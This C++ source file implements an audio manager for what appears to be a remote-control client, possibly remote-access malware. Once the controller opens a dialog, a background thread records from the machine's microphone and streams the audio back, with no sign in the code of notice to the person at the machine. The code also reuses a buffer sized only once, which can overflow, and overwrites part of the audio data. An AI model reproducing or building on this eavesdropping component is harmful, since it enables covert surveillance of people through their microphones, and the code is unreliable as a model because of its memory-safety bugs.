134 lines
2.7 KiB
C++
134 lines
2.7 KiB
C++
// AudioManager.cpp: implementation of the CAudioManager class.
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//
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//////////////////////////////////////////////////////////////////////
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#include "stdafx.h"
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#include "AudioManager.h"
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#include "Common.h"
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#include <Mmsystem.h>
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#include <IOSTREAM>
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using namespace std;
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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//////////////////////////////////////////////////////////////////////
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CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
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{
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Mprintf("new CAudioManager %p\n", this);
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m_bIsWorking = FALSE;
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m_AudioObject = NULL;
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if (Initialize()==FALSE)
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{
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return;
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}
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BYTE bToken = TOKEN_AUDIO_START;
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m_ClientObject->OnServerSending((char*)&bToken, 1);
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WaitForDialogOpen(); //等待对话框打开
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szPacket = NULL;
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m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
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(LPVOID)this, 0, NULL);
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}
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VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
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{
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switch(szBuffer[0])
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{
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case COMMAND_NEXT:
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{
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if (1 == ulLength)
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NotifyDialogIsOpen();
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break;
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}
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default:
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{
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m_AudioObject->PlayBuffer(szBuffer, ulLength);
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break;
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}
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}
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}
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DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
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{
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CAudioManager *This = (CAudioManager *)lParam;
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while (This->m_bIsWorking)
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{
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if(!This->SendRecordBuffer())
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Sleep(50);
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}
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Mprintf("CAudioManager WorkThread end\n");
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return 0;
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}
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BOOL CAudioManager::SendRecordBuffer()
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{
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DWORD dwBufferSize = 0;
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BOOL dwReturn = 0;
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//这里得到 音频数据
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LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
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if (szBuffer == NULL)
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return 0;
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//分配缓冲区
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szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
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//加入数据头
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szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
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//复制缓冲区
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memcpy(szPacket + 1, szBuffer, dwBufferSize);
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szPacket[dwBufferSize] = 0;
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//发送出去
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if (dwBufferSize > 0)
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{
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dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
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}
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return dwReturn;
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}
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CAudioManager::~CAudioManager()
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{
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m_bIsWorking = FALSE; //设定工作状态为假
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WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
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if (m_hWorkThread)
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CloseHandle(m_hWorkThread);
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if (m_AudioObject!=NULL)
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{
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delete m_AudioObject;
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m_AudioObject = NULL;
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}
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if (szPacket)
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{
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delete [] szPacket;
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szPacket = NULL;
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}
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Mprintf("~CAudioManager %p\n", this);
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}
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//USB
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BOOL CAudioManager::Initialize()
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{
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if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
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return FALSE;
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// SYS SYS P
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// 正在使用中.. 防止重复使用
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if (m_bIsWorking==TRUE)
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{
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return FALSE;
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}
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m_AudioObject = new CAudio; //功能类
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m_bIsWorking = TRUE;
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return TRUE;
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}
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